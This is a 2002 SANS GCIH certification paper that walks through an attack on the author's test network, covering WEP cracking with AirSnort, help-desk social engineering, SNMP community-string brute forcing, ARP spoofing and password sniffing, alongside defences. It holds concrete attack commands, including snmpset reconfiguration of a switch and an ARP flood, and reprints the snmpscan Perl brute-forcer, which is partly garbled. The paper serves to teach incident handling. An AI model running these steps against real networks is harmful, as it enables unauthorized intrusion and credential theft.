Use offense to inform defense. Find flaws before the bad guys do.

Copyright SANS Institute
Author Retains Full Rights

Interested in learning more?
Check out the list of upcoming events offering "Hacker Tools, Techniques, Exploits, and Incident Handling (SEC504)"
at https://pen-testing.sans.org/events/
What to do when you break WEP…

**Wireless Security and the LAN**

GCIH Practical Assignment Version 2.0  
for GIAC Certification in  
Advanced Incident Handling & Hacker Exploits

Geoffrey Poer  
February 17, 2002
Introduction:

In all things there are vulnerabilities. Somewhere within everything that we do in the security field there is always a way. The mailing lists explode with new vulnerabilities almost everyday and it seems that we are in a fight, a fight that we just can not win. This paper focuses on finding a way in. I literally started with a test network and applied the general state of security for our network then worked to find a way in. From there, I tested exploits, lots of exploits, some that worked and some that did not work. In my research I found that many “papers”, professional or otherwise, discussed theory and portrayed fact. With this paper I will present the exploits that worked. I will take you step by step through an attack on my test network and show you the tools that I used to perform the attacks. Then I will explain a mock incident and wrap up with the Incident Handling Procedure. In my conclusion I will state the exploits that I tested but did not work and the devices in which they did/or did not work on.

PART 1  The Exploits

Name for WEP Exploit: Strangely enough there is no Common Vulnerabilities and Exposures (CVE) name for this particular exploit. While there are several for specific vendors that deal with various WEP, SNMP or HTTP problems associated with the access points. There is nothing that specifically references the Vulnerability in the RC4 algorithm or its implementation in WEP.

Name for ArpSpoof Exploit: The Common Vulnerabilities and Exposures (CVE) project has assigned the Name CAN-1999-0667. The ARP protocol allows any host to spoof ARP replies and poison the ARP cache to conduct IP address spoofing or a denial of service.

Brief Description:

As a case study, I have created a network that will hopefully squelch some of the myths that have surrounded our approach to security. This project was inspired by a co-worker who informed me that the wireless network need not have added security because, “it is in a different VLAN” and “it doesn’t really matter because WEP is turned on”. This paper will apply the current state of security with-in the devices in our network. As a proof of concept I will demonstrate how and attacker can subvert our security measures. There are, however, a few obstacles:
The Attacker is a Wireless Client and the Access Point in directly connected to a switch and separated into a VLAN.

The Router is running a Firewall Feature Set on a Cisco 6509 and has ACL’s applied that do not allow the Wireless network to traverse into the “SECURE” VLAN.

As an Attacker I will perform several steps of reconnaissance, scanning, and perform 3 exploits (only 2 of which I will actively discuss here) lastly I will have administrative access on a “Secure Server” in a different VLAN.

- Exploit #1: WEP Vulnerability
- Exploit #2: ArpSpoof and Sniffing in a Switched Network

Upon the completion of the exploits I will have sniffed the user name and password of a session between the Server and the Administrator that lives in the same VLAN but on a different switch.

**Protocols/Services/Applications**

802.11b (IEEE Wireless Standard): is the IEEE standard for wireless connectivity. The data rates range from 1 Mbps up to 11 Mbps in the 2.4 GHz band (Wild Packets).

WEP (Wired Equivalent Privacy): “is an optional IEEE 802.11 function that offers frame transmission privacy similar to a wired network. The Wired Equivalent Privacy generates secret shared encryption keys that both source and destination stations can use to alter frame bits to avoid disclosure to eavesdroppers” (Wild Packets). WEP uses a 24 bit field called an Initialization Vectors (IV). This field is “randomly” generated and is combined with the shared secret key to encrypt each packet “differently”. The Exploit Targets a vulnerability in the WEP implementation of RC4 and how WEP makes use of Initialization Vectors (IV). This exploit allows passive attacker to use statistical analysis to attain the Shared Secret Key.

ARP (Address Resolution Protocol): There are four types of arp messages which may be sent by the arp protocol. These are identified by four values in the "operation" field of an arp message. The types of message are:

1. ARP request
2. ARP reply
3. RARP request
4. RARP reply

This exploit uses spoofed ARP replies that are gratuitously accepted by the target host or hosts, overwriting any entries already in the ARP table.

Operating Systems Affected (WEP)

The access points that are affected by this particular vulnerability encompass every wireless access point on the market. However, most of the vendors have changed the way that the IV's are generated and are not allowing the IV to produce the correct hex digits that AirSnort needs to accomplish its goal. I have tested 2 specific vendors;

Cisco Aironet 340 (11.06a): Cisco Access points are not susceptible to WEP cracking utilities such as "airsnort". Cisco has changed the way they create the IV's by limiting the second bit to 00-03 and never using FF in the second bit. Airsnort can only guess the key by determining useful packets that provide a pattern which allows the user to guess the WEP key.

"Useful packets are those with the following property of their IV; the first byte is a number three greater than one of the offsets of the bytes of the key. For 128 bit encryption, this means a number from 3-16. The second byte must be 255 and the third byte can have any value. This means that for every byte of the key, there are 256 weak IVs (AirSnort Readme)."

Here is a statement by one of AirSnorts creators:

Cisco products use only IV’s with 00-03 in the second byte. Thus AirSnort can get no interesting packets. While there are a few weak IV’s not of the form 03-0f:ff:??, the vast majority of weak IV’s have ff in the second byte, and these are the only ones AirSnort looks for. Thus the Cisco products cannot be attacked with AirSnort, although by having a smaller set of IV’s they are more susceptible to table attacks, however I am unaware of a tool that does table attacks. It might be possible to extend AirSnort to allow weak IV’s that do not have ff in the middle byte, but they are few and there might not be enough data to guess the key in many cases. I might add such support just to try it out, but for the time being, Cisco is a little more secure than the rest of the world.

-Jeremy Bruestle
melvin@melvin.net

I was able to verify this statement by running the AirSnort utility and never seeing anything above a 03 in the second bit of the IV. It was the same with all 3
wireless adaptors that I had available to test; Dell true mobile, Cisco 340, and Linksys. On a side note while I have not personally been able to establish this I have read that the ORINOCO AP's might also have changed how the IV is generated.

**Symbol Wireless (1.5):** The Symbol Wireless AP was susceptible to the attack and I was able to correctly guess the shared secret key. This particular vendor’s second byte of the IV was actually created sequentially which made the process more fun to watch. But we will get into the screen shots from AirSnort later in the paper.

**Operating Systems Affected (ArpSpoof)**
All ArpSpoof is a protocol-based attack. The attack encompasses supported features of the protocol as defined by the RFC. There is not an effective system patch that can mitigate this attack. However, through concepts of layered security, careful network design, configuration of critical network protocols, and effective layer 2 security measures, the threat of this attack can be tapered to an expectable level.

**WEP Attack Variants**
The Variants on RC4 can best be summed up in a paper by Tim Newsham. In it he describes several other ways to attack the RC4 algorithm. The initial attacks can be militated against the Key Ring. **Keys are manually distributed and Keys are statically configured.** This implies that keys are often infrequently changed and easy to remember! Newsham also points out problems with the **Key generators provided for convenience.**

These Key Generators use a 64 bit **PRNG - Pseudo-Random Number Generator.** However, the **64-bit Generator is Flawed!** Ideally the keys should have at least 40-bits of entropy (A measure of the disorder or randomness). However, the **Key entropy is reduced in several ways:**

**ASCII Mapping Reduces Entropy**
ASCII string mapped to 32-bits

- XOR operation guarantees four zero bits
  - Input is ASCII. High bit of each character is always zero
  - XOR of these high bits is also zero
  - Only seeds 00:00:00:00 through 7f:7f:7f:7f can occur

**PRNG Use Reduces Entropy**
- For each 32-bit output, only bits 16 through 23 are used
- Generator is a linear congruential generator modulo 2^32
- Low bits are “less random” than higher bits
- Bit 0 has a cycle length of $2^1$, Bit 3 has a cycle length of $2^4$, etc..
  - The resultant bytes have a cycle length of $2^{24}$
  - Only seeds 00:00:00:00 through 00:ff:ff:ff result in unique keys!

**Entropy of 64-bit Generator is 21-bits**
- The ASCII folding operation only generates seeds 00:00:00:00 through 7f:7f:7f:7f
- High bit of each constituent byte is always zero
  - Only seeds 00:00:00:00 through ff:ff:ff:ff result in unique keys
  - Result: Only $2^{21}$ unique keys generated!
- Only need to consider seeds 00:00:00:00 through 00:7f:7f:7f with zero high bits

Another format discussed by Newsham was Brute force guessing of the generated keys. Two types of attacks can be laded against the key:

- **Dictionary attack**
  - Read wordlist from file
  - Lots of room for improvement. For example, rule-based word generation.

- **Brute force of generator**
  - Generate sequential PRNG seeds between 00:00:00:00 and 00:7f:7f:7f

The **Brute Force of Keys** would not offer a practical attack however distributed computing and faster processors may make this easier and more common.

- **Brute force of 40-bit keys is not practical**
  - About 210 days on my laptop
  - ~100 machines could perform attack in reasonable time
  - Better attacks exist

- **Brute force 104-bit keys is not feasible**
  - $10^{19}$ years
  (Tim Newsham, @stake)

**ArpSpoof Attack Variants:**

- ARP0c – A flood of ARP replies with random IP and MAC addresses will overload some switches either causing a DOS or the switch will accept the unsolicited replies and inserts them to its ARP cache. The cache will fill up with the random MAC addresses. How many MAC addresses it will take is dependent upon the type of device and the vendor. This will continue until all of the valid MAC addresses for machines on the LOCAL AREA NETWORK will be removed from the cache. The switch will no longer have the correct port to MAC address
table for the packets and therefore degrades down to behaving like a hub, forwarding copies of all packets out all ports.

The Attacker can use the following command to generate the ARP flood:

[root@BigPig1 geoff]#ARP0c2 –I eth0 –f

- Fake-1.1.6-1 – “Fake is a simple utility designed to enable the switching in of backup servers on a LAN. For example, fake can be used to switch in backup mail, Web, and proxy servers during periods of both unscheduled and scheduled down time. Fake works by bringing up an additional interface and using ARP spoofing to take over the IP address of another machine on the LAN. The additional interface can be a physical interface or a logical interface (an IP alias). Fake is configurable and can be automated using systems that monitor the availability of servers (like Heartbeat and Heart).” (Fake Man Page)

- Macof - MAC Overflow: “You easily could spoof a MAC-address and thereby confuse a switch because the switch tries to remember which MAC-addresses is on each port. Because of some the network packets goes to the spoofing MAC you get problems with the connections (resends). But what happens if the switch gets flooded with MAC-addresses? The switch just has a bound memory-space for the MAC-addresses on each port. What happens if this table gets full? After a few tests (with macof) we got different results depending on the brand of the switch. Some switches stopped working and other started to forward network traffic to wrong or all ports. The only scientific analysis is this one reported. This is a resource problem.” (Macof Man pages)

References WEP
2. Exploiting and Protecting 802.11b Wireless Networks: http://www.extremetech.com/article/0,3396,apn=8&s=1024&a=13880&app=6&ap=7,00.asp
3. Weaknesses in the Key Scheduling Algorithm of RC4, (Fluhrer, Mantin, and Shamir)
4. Cracking WEP- Applying Known Techniques to WEP Keys, (Newsham)
5. WEP Details, (System Experts)
7. Intercepting Mobile Communications: The Insecurity of 802.11,
(Borisov, Goldberg, Wagner)

8. Anatomy of IEEE 802.11b Wireless, (Conover)
http://www.networkcomputing.com/1115/1115ws2.html


References ArpSpoof
1. Address Resolution Protocol:
http://www.erg.abdn.ac.uk/users/gorry/course/inet-pages/arp.html
2. RFC 1433- Directed ARP: http://www.faqs.org/rfcs/rfc1433.html
5. Infosec Security Vulnerability Report: Macof_Sniff, (Ian Vitek, ian.vitek@infosec.se)
6. Fake-1.1.6-1: http://rpmfind.net/linux/RPM/PLD/dists/nest/PLD/i686/PLD/RPMS/fake-1.1.6-1.i686.html
9. Intro to Dsniff: http://www.sans.org/infosecFAQ/audit/dsniff.htm
10. Arp and ICMP redirect Games: http://www.insecure.org/sploits/arp.games.html
11. Why Spoofing is the number one problem on the internet: http://www.xs4all.nl/~rmeijer/spoofing.html
13. An Intro to ARP Spoofing: Sean Whalen, April 2001
14. ARP0c Connection Interceptor: http://www.phenoelit.de/arpoc
16. Fragrouter Man Pages
http://packetstorm.deceptions.org/UNIX/IDS/nidsbench/fragrouter.html

PART 2 The ATTACK

Network Configuration & Diagram
The Network is divided into 4 VLANs;

- VLAN 1 – Default Vlan 1.1.1.0/24
• VLAN 2 – Wireless Vlan  2.2.2.0/24
• VLAN 3 – Secure Vlan  3.3.3.0/24
• VLAN 4 – Management Vlan  4.4.4.0/24

These VLANs are separated and routed via a Cisco 6509 running version 12.1 with Firewall feature set. The Firewall is setup to allow only a few outside protocols and addresses into the network, telnet from the administrators’ machine being one of them. All out bound traffic is behind a reflexive access list that will keep state of current connections and only allow that return traffic back in.

A previous Network Operations assumption was that having the WIRELESS network attached to the same switch as the SECURE VLAN would be acceptable as long as they where separated by a VLAN. The theory was that this would force the traffic from the WIRELESS network to be routed through the
same firewall rule set as the rest of the unwashed masses. Another misconception was that the 802.11b (IEEE Wireless standard) provided sufficient security and could not be easily compromised. These assumptions are the bases for the attack we will present.

**Overview of Attack Steps, Strategy & Diagram**

Often in the security world we discuss motivation. Be it money, revenge or a lust for anarchy. I believe that this attacker simply stumbles across a wireless connection and investigate the possibilities no real malicious intent, just a healthy curiosity that cause us a great deal of work.

The steps of the attack that I will lay out were preformed on our network equipment in a test environment utilizing our current security policy.

**Steps to Attack:**

1. **War Driving:**
   Using a tool call Netstumbler, which requires a Dell True Mobile wireless card, we will begin the reconnaissance stage for the attack. This leads to our first exploit of the Wired Equivalent Privacy portion of the IEEE 802.11b standard.
   a. Get SSID and notice the use of encryption
   b. Download favorite WEP cracking tool, AirSnort.
   c. Run AirSnort to get WEP key.

2. After putting in the WEP and SSID information we get associated with the Access Point but can't get DHCP address.
   To solve this problem we perform a Web Search from another PC in the library for DHCP. Doing this will finds a website, dhcp.univeristy.edu, which instructs the user to register the MAC address of their NIC card in order to receive a DHCP IP address. The Website also goes into detail on calling a help desk if there is a problem.

3. **Social Engineer**
   With the permission of management this exploit was actually done in our live environment. We convinced our help desk to register the MAC address of our wireless card under some arbitrary name and connected to the network with a DHCP address of 2.2.2.132.

4. **Wireless Sniffing to collect CDP info**
   To facilitate the attack we need to discover the IP address of the switch. Using simple sniffing and network mapping tools we are able to capture CDP information.
5. SNMP Attack on Switch

The attack on the switch is a simple and well documented brute force attack. I will go into detail concerning the how the attack works and a few of the tools that we used to compromise the switch.

a. Run Program Called Dictmake.exe (in windows) to create a password file

b. Run Nmap on switch to make sure that UDP port 161 is open

1. Nmap –sU (UDP port scan) –p 161 4.4.4.2 (ports to scan.)

c. run "perl snmpscan -dict" with the passwd file that I created with Dictmake
d. Get Write Community String name

```
   ./snmpbrute -s (source)132.4.128.1 -d (dest)4.4.4.2 -w (file)dict -m (mode)2 –t(tftp) 3.3.3.129 with write community string name in the “dict file” to download config to a TFTP server
```

f. Change the Wireless AP port to be in the Secure Vlan by uploading a new configuration

```
   snmpset -v 2c 4.4.4.2 gcih132 .1.3.6.1.4.1.9.2.1.50.2.2.2.132 s "running-config"
```
6. Change the IP address of the Attacker & Nmap Network to find default gateway

With the attacker now in a new VLAN the machine will be a new IP address and a new default gateway. We used NMAP to scan the LAN and discover the default gate as well as the “Secure Server”.

a. `Nmap –sS` (TCP SYN stealth port scan (best all-around TCP scan) –O (Use
7. **ArpSpoof the default gateway**

Using a tool called ArpSpoof, from the Dsniff attack suite, we will send false arp replies to the targeted server to in an effort to redirect the traffic that it
would normally send to the default gateway.

a. arpspoof gateway

8. Sniffing in a Switched Network.

Sniffing in a switch network requires that you have some sort of router in the path to forward the traffic that you are now receiving as the default gateway.

a. Use Virtual PC running a guest Linux Operating System to implement 
Fragrouter in normal traffic forward mode.
b. Use TCPdump to capture a telnet session from the “Secure Server” to another host.

**Reconnaissance of Wireless LAN (802.11b)**

**How War Driving Works**

War driving has been in the news more and more in the past few months. Articles such as, “War Driving by the Bay” (Poulsen), depict the ease in which attackers can pick up and access a Wireless Networks. The term “War Driving” derived its name from the classic technique of “War Dialing” however this newer technique is far more difficult to spot.

War Driving is a completely passive form of reconnaissance (similar to the AirSnort attack we will talk about later). This reconnaissance method consists of listening to the traffic that is floating by in the air and picking up any data that might be significant. The most important of that significant data is the SSID. The SSID or **Service Set Identifier** is what is used to identify Access Points and is required to associate. The majority of vendors broadcast the SSID data to anyone listening by default in order to make it easier to associate on the WLAN.

A program for Windows that performs this is called Netstumbler. We literally went out to campus, placed my laptop in my back pack and walked around. A colleague attended the War Driving exposition with his IPAC (Hand Help Wireless Device) and would Associate on the networks that we saw. Here is a shot of the tool in action:

In the screen shot above you can see the MAC of the AP (Access Point) and the SSID that is being broadcast. The tool can also establish if the AP has WEP enabled (a very handy little tool). In our particular adventure through campus we came up in 7 wireless networks (without WEP enabled) that where broadcasting their SSID. On a more positive note we did discovered that if we properly configured our laptops and other Wireless devices that we could stay connected almost all the way through campus. Okay, it might not be a positive note, but we thought it was cool 😊.
Protocol Description (802.11b & SSID)

802.11b is the IEEE standard for wireless connectivity. The data rates range from 1 Mbps up to 11 Mbps in the 2.4 GHz band (Wild Packets).

“IEEE 802.11b data is encoded using DSSS (direct-sequence spread-spectrum) technology. DSSS works by taking a data stream of zeros and ones and modulating it with a second pattern, the chipping sequence. In 802.11, that sequence is known as the Barker code, which is an 11-bit sequence (10110111000) that has certain mathematical properties making it ideal for modulating radio waves. The basic data stream is exclusive OR’d with the Barker code to generate a series of data objects called chips. Each bit is "encoded" by the 11-bit Barker code, and each group of 11 chips encodes one bit of data.”

“The wireless physical layer is split into two parts, called the PLCP (Physical Layer Convergence Protocol) and the PMD (Physical Medium Dependent) sublayer. The PMD takes care of the wireless encoding explained above. The PLCP presents a common interface for higher-level drivers to write to and provides carrier sense and CCA (Clear Channel Assessment), which is the signal that the MAC (Media Access Control) layer needs so it can determine whether the medium is currently in use.”

Here is an image that depicts the 802.11 frame.

Service Set Identifier (SSID) is an identifier which gets attached to packets sent over the wireless LAN and passes in clear text or the network, even if encryption is enabled. “The SSID functions as a "password" for joining a particular radio network (BSS). All radios and access points within the same BSS must use the same SSID, or their packets will be ignored” (Wild Packets Glossary). The following is a screen shot from “AiroPeak” (a wireless sniffing tool). Please note where the SSID falls in the 802.11b header. Look for the “SIRT” SSID in the image below.
Signature of the Attack

Being as this is a passive attack a signature is unavailable.

How to Protect Against It

To protect against the Netstumbler application you can simply turn off the SSID broadcast feature. That does not eliminate the problem it only eliminates tools like Netstumbler that are only looking for broadcasted SSID. The SSID is passed in CLEAR TEXT and can be picked up by any wireless sniffer. While there is talk about porting tools like L0phts AntiSniff over to the wireless environment I have yet to see it implemented. Cisco has a new proprietary feature on their Wireless Adaptors and AP’s that also encrypts the SSID. Combining this with strict MAC address security, which most vendors offer, and turning off the broadcast feature goes a long way to protecting your network from War Driving.

Exploit #1: AirSnort

How AirSnort Works

This exploit requires one thing that is out of the immediate control of the attacker, TRAFFIC! This exploit takes quite a few packets. AirSnort works by capturing encrypted traffic that can be used to “guess” the correct Secret Key. Because the RC4 encryption algorithm is a stream cipher is operates by expanding a smaller key into Pseudo Random Key Stream or PRKS. This type of cipher has isn’t own vulnerabilities that WEP tries to correct by adopting an Integrity Check (IC) field in the packet and by utilizes a Initialization Vector to augment the shared key (Borisov, Goldberg, Wagner). The AirSnort program utilizes the incorrect implementation of IV to accomplish statistical analysis of IV collisions, which we will discuss in the WEP protocol section. But for now let’s look more into the in workings of AirSnort.

Below is an excerpt from the AirSnort Readme file. I have added the screen shots to each portion to better facilitate the explanation.

“The first thing to be done to crack 802.11b is to get unmodified encrypted packets. This can be done by putting the card in a mode which gathers all packets indiscriminately. This mode is known as promiscuous mode, and it can be entered by running the command dopromisc.sh,’ which is in the scripts directory.
The channel in the script defaults to channel 6, but you may wish to change it if the network you are analyzing is on a different channel.

If the card is now in promiscuous mode, you can now run 'capture.' The parameters to capture are simple, the -c switch presents a display of its progress, which is updated every second. The second, required parameter is a filename, which is where the captured packets are stored. If you are running capture in curses mode, the most important parameter is "Interesting Packets." An interesting packet is one in which the second byte of the IV is FF. Useless packets are those with the following property of their IV; the first byte is a number three greater than one of the offsets of the bytes of the key. For 128 bit encryption, this means a number from 3-16. The second byte must be 255 and the third byte can have any value. This means that for every byte of the key, there are 256 weak IVs.
At intervals, you will probably wish to try and crack the password with the data you have gathered. You can simply run the command ‘crack’ on the file generated by capture. It is intended that capture be run on one terminal, while crack on another, once enough packets have been gathered.

The number of interesting packets needed to perform a successful crack depends on two things; luck and key length. Assuming that luck is on your side, the key length is the only important factor. For a key length of 128 bits, this translates to about 1500 packets. For other key lengths, assume 115 packets per byte of the key.

In any case, if the crack program believes it has a correct password, it checks the checksum of a random packet. If this is successful, the correct password printed in ASCII and Hex. If it is unsuccessful, an error message is printed“ (AirSnort Readme).
Once enough packets are captured we can then successfully “guess” the Shared Secret Key. It took me a total of 940 interesting packets to successfully crack this 40 bit key. For the 940 out of 4891555 encrypted packets it took me 3 days constant FTP’s to create enough traffic.

But when it was all said and done I did have the correct key.
The 40 bit key which I had applied to my test network was 12:34:56:78:90.

Protocol Description (WEP)

WEP or Wired Equivalent Privacy is an optional IEEE 802.11 function that offers frame transmission privacy similar to a wired network. “The Wired Equivalent Privacy generates secret shared encryption keys that both source and destination stations can use to alter frame bits to avoid disclosure to eavesdroppers” (Wild Packets Glossary). It uses a known IV modifier and a shared secret key in order to encrypt the traffic. This theoretically allows for each packet to be encrypted differently. The flaw lies not in the design but in the implementation of WEP and how the IV’s are selected. (Fluhrer, Mantin, Shamir).

The WEP Protocol:

WEP encryption works in 5 steps:

1. ICV computed – 32-bit CRC of payload
2. One of four keys selected – 40-bits
3. IV selected – 24-bits, prepended to keynumber
4. IV+key used to encrypt payload+ICV
5. IV+keynumber prepended to encrypted payload+ICV

(The following images have been altered but the general concepts and Encryption steps came from a presentation by Tim Newsham, @stake)
ICV computed – 32-bit CRC of payload

One of four keys selected – 40-bits
This Key could also be a 128 bit key, and is preprogrammed into the both the wireless client and the Access Point. Thus promoting the use of Shared Secret Keys

IV selected – 24-bits, prepended to keynumber

The IV is assigned and generated by the access point. Vendors have used different methods to select the IV to review the 2 vendors in which we tested please refer to PART 1 of the paper. The IV is 3 hex digits (i.e. 03:ff:a6) generated randomly or sequentially and passed between the access point and the wireless card in the clear.

IV+key used to encrypt payload+ICV

IV+keynumber prepended to encrypted payload+ICV

(Tim Newsham, @stake)
Breaking the WEP Protocol:

Below is an excellent explanation by Borisov, Goldberg, and Wagner, of how and why the WEP implementation of the IV is flawed.

“The initialization vector in WEP is a 24-bit field, which is sent in the clear text part of a message. Such a small space of initialization vectors guarantees the reuse of the same key stream. A busy access point, which constantly sends 1500 byte packets at 11Mbps, will exhaust the space of IVs after 1500*8/(11*10^6)*2^24 = ~18000 seconds, or 5 hours. (The amount of time may be even smaller, since many packets are smaller than 1500 bytes.) This allows an attacker to collect two cipher texts that are encrypted with the same key stream and perform statistical attacks to recover the plaintext. Worse, when the same key is used by all mobile stations, there are even more chances of IV collision. For example, a common wireless card from Lucent resets the IV to 0 each time a card is initialized, and increments the IV by 1 with each packet. This means that two cards inserted at roughly the same time will provide an abundance of IV collisions for an attacker. (Worse still, the 802.11 standard specifies that changing the IV with each packet is optional!)

Attacks

Passive Attack to Decrypt Traffic

The first attack follows directly from the above observation. A passive eavesdropper can intercept all wireless traffic, until an IV collision occurs. By XORing two packets that use the same IV, the attacker obtains the XOR of the two plaintext messages. The resulting XOR can be used to infer data about the contents of the two messages. IP traffic is often very predictable and includes a lot of redundancy. This redundancy can be used to eliminate many possibilities for the contents of messages. Further educated guesses about the contents of one or both of the messages can be used to statistically reduce the space of possible messages, and in some cases it is possible to determine the exact contents.

When such statistical analysis is inconclusive based on only two messages, the attacker can look for more collisions of the same IV. With only a small factor in the amount of time necessary, it is possible to recover a modest number of messages encrypted with the same key stream, and the success rate of statistical analysis grows quickly. Once it is possible to recover the entire plaintext for one of the messages, the plaintext for all other messages with the same IV follows directly, since all the pairwise XORs are known. (Nikita Borisov, Ian Goldberg, and
Signature of the Attack

Again this is a passive attack which does not lend itself to a verifiable signature.

How to Protect Against It

In order to protect against the IV collisions in WEP vendors are changing the IV selection. This does not remove the vulnerability in RC4 but it does make the tool AirSnort almost impossible to use for this exploit. Please refer back to the Exploits section for info on how Cisco changed their IV selection. Here are some General Wireless Security guidelines from the Cisco SAFE: Wireless LAN Security in Depth document.

- Access point security recommendations:
  - Enable user authentication for the management interface.
  - Choose strong community strings for Simple Network Management Protocol (SNMP) and change them often.
  - Consider using SNMP Read Only if your management infrastructure allows it.
  - Disable any insecure and nonessential management protocol provided by the manufacturer.
  - Limit management traffic to a dedicated wired subnet.
  - Encrypt all management traffic where possible.
  - Enable wireless frame encryption where available.

- Client security recommendations:
  - Disable ad hoc mode.
  - Enable wireless frame encryption where available.
(Cisco Systems, Inc.)

WEP uses of the stream cipher RC4 and the 802.11b standard describes it’s use. However it does not clearly document how the IV’s are to be selected. The 802.1X standard is proposing to solve this problem. The Cisco SAFE document discusses the changes proposed by 802.1X:

“EAP/802.1X

An alternative WLAN security approach focuses on developing a framework for providing centralized authentication and dynamic key distribution. A proposal jointly submitted to the IEEE by Cisco Systems, Microsoft, and other organizations introduced an end-to-end framework using 802.1X and the Extensible Authentication Protocol (EAP) to provide this enhanced functionality. Central to this proposal are two main elements:
• EAP allows wireless client adapters that may support different authentication types, to communicate with different back-end servers such as Remote Access Dial-In User Service (RADIUS)
• IEEE 802.1X, a standard for port based network access control

When these features are implemented, a wireless client that associates with an AP cannot gain access to the network until the user performs a network logon. When the user enters a username and password into a network logon dialog box or its equivalent, the client and a RADIUS server perform a mutual authentication, with the client authenticated by the supplied username and password. The RADIUS server and client then derive a client-specific WEP key to be used by the client for the current logon session. User passwords and session keys are never transmitted in the clear, over the wireless link.

(Cisco Systems, Inc)•

Another more labor intensive method is to implement MAC filtering on the Access Point. Allowing only those MAC addresses that are registered to gain access to network resources is a great idea in theory but quickly becomes a major labor intensive nightmare if you are administering a larger network. Most vendors support this feature and is generally fairly straight forward to configure on the AP.

Using another layer of encryption, such as IPSEC or another form of VPN, to encrypt your traffic when attached to the WLAN (Wireless LAN) is a standard method of securing wireless data. Requiring a network logon such as one discussed in the Cisco document above can also be achieved by placing a Proxy or VPN concentrator on the up stream link of the AP. Essentially placing the VPN between the switch and the AP and not allowing network access unless users have authenticated via the VPN concentrator.

**Creation of a Password File**

**Description of Tool**

To create a password file I used a tool called Dictmake.exe, freely downloadable from www.packetstormsecurity.com. Let me warn you if you have never created a brute force password file, THEY ARE NOT SMALL. Here is a screen shot of the tool in action.
As you can see DICTMAKE.EXE come with several options to create just about any type of file that you want. You can select Minimum and Maximum lengths, upper and lower case, numbers, blanks, special characters, and even extended ASCII. Selecting all of these options will make the file huge. In the screen shot above you can see that I am only 5 characters into the file and I did not select Blanks, Special characters or ASCII. But the file was still well over 2 gigs of data.

When all was said and done I created a 6 character file that had no upper case, no special characters and no ASCII. That file ended up being slightly under 10 gigs.
Exploit #2: SNMP Brute Force Attack

How SNMP Brute Force Works and What to do with SNMP

The SNMP Brute Force attack is hardly cutting edge. But the technique is solid and easy. Because SNMP uses the UDP protocol it is much faster than trying to brute force a TCP service that requires the 3 way handshake. Coupled with it’s wide implementation SNMP is an excellent Brute Force candidate..

For this particular SNMP attack I used 2 tools that can be found at www.packetstormsecurity.com.

SNMPSCAN:

By default SNMPSCAN will look for 4 common community string names; public, private, router, and test. To select a target you will need to edit the hosts file that lives in the directory with SNMPSCAN. As you can see in the screen shot below, we used Nmap to scan for UDP port 161 and wrote the output to a file called snmpnmap.txt. Then I used “vi” to remove all the superfluous data given by Nmap and wrote it to a file called hosts in the snmpscan-0.05 directory. This is the Perl script written by Knight of Phunc:

```
#!/usr/local/bin/perl
#
# snmpscan scan snmp services for commonly known snmp communities
#
# This script can automate the scanning of your network to check for possible "vulnerabilities" regarding your snmp community "passwords" for access to your routers and/or snmp services.
#
# Even though you may be running a unix snmp daemon that does not allow control of any services, access to the snmp service provides alot of information about the machine it is running on. Afterall, that is what snmp is for.
#
# All routers and machines running snmp services should be protected with a password composed of upper and lower case characters, numbers, and symbols. Those that aren't can be easily brute forced.
#
# Knight / Phunc
# knight@phunc.com
#
# This script was written to help protect your network.
#
```

use strict;
use Net::SNMP;

my $version = "0.05 alpha";
my $dict = shift || 0;
my $debug = shift || 0;

my $dictfile = "dict.txt";
my $commfile = "comm.txt";
my $hostfile = "hosts";

my @comms = ( "public",
              "private",
              "router",
              "test"
           );

my @hosts = ( "localhost" );
my $i=0;
my $comret=0;
my $hostname='';

print "SNMPscan (version: $version) by knight@phunc.com of phunc\n\n";

if (-e $hostfile) {
    (@hosts)=gethosts($hostfile);
} else {
    print "Hosts file '$hostfile' does not exist.\n";
}

for ($a=0;$a<scalar(@hosts);$a++)
{
    $hostname=$hosts[$a];
    print "Guessing community on host '$hostname':\n";
    for ($i=0;$i<=3;$i++)
    {
        $comret = getuptime($comms[$i]);
        if($comret eq 1)
        {
            print "\tCommunity '$comms[$i]' *** successful ***.\n";
        } else
        {
            print "\tCommunity '$comms[$i]' unsuccessful.\n";
        }
    }
    if ($dict eq "-dict") {
        open(DICT,"<$dictfile") || die "Unable to open dict file '$dictfile'";
        print "\tUsing communities from dictionary.\n";
        while(<DICT>)
        {
            my $community = $_;
            chop($community);
            my $dictret = getuptime($community);
        }
    }
if ($dictret eq 1) {
    print "\tCommunity '$community' *** successful
***.\n";
} else {
    print "\tCommunity $community unsuccessful.\n";
}
}

sub gethosts {
    my $hfile = shift;
    print "Reading host file '$hfile': ";

    open(HFILE, "<$hfile") || die "\nUnable to read $hfile";
    my $k=0;
    while(<HFILE>) {
        chop;
        $hosts[$k++]=_;
        print "$_\n" if ($debug);
    }
    close(HFILE);
    print "$k hosts read.\n";
    return @hosts;
}

sub getuptime {
    my ($community) = @_; 
    my $port = 161;
    print "Hostname: $hostname\n" if ($debug);
    print "Community: $community\n" if ($debug);
    print "Port: $port\n\n" if ($debug);

    my ($session, $error) = Net::SNMP->session(
        Hostname => $hostname,
        Community => $community,
        Port => $port
    );

    if (!defined($session)) {
        printf("ERROR: %s\n", $error) if ($debug);
        return 0;
    }

    my $sysUpTime='1.3.6.1.2.1.1.3.0';

    $session->timeout(2);
    $session->retries(2);
    # $session->debug;
    my $response='';
    if (!defined($response = $session->get_request($sysUpTime)))
    {
        printf("ERROR: %s\n", $session->error) if ($debug);
        $session->close;
        return 0 ;
    }
printf("Uptime for host '%s' is: %s\n", $hostname, $response->{$sysUpTime}) if ($debug);

return 1;
}

Looking through the script we can see that it takes the hosts file in the directory and places the hosts into an array. If it can not find the hosts file it will die. From there we have the option of reading in a dictionary file or using the default community names that have been provided. Now that we have a host list on our array a snmpget is called and a get_request is issued to OID '1.3.6.1.2.1.1.3.0' which is the system uptime OID. The system uptime is not printed in the output. If the system uptime request is successful then the string “***successful***” is printed, if it is not then the string “unsuccessful” is printed. Here is a screen shot from the tool using the default community names.

![Screen Shot of SNMP Brute Force Attack](image)

We can use this tool while supplying the dictionary file that we created with DICTMAKE. Now we are committing a SNMP Brute Force attack. Here is the screen shot from the output.
In general, this process takes an extremely long time. In fact, if your community string name starts with a Z it could take days. Thankfully, in our network we did not log SNMP attempts so we could let this run forever. Since this paper, the Network Operations group has made several changes to SNMP that provide better security to the network and I will discuss them in the “How to Protect Against It” section, but now let’s look at the other tool we used.

**SnmpBrute**

The snmpbrute tool is another tool that we can use to perform brute force attacks however that is not how it was used in this attack. The SnmpBrute tool can be run in 2 modes.

```
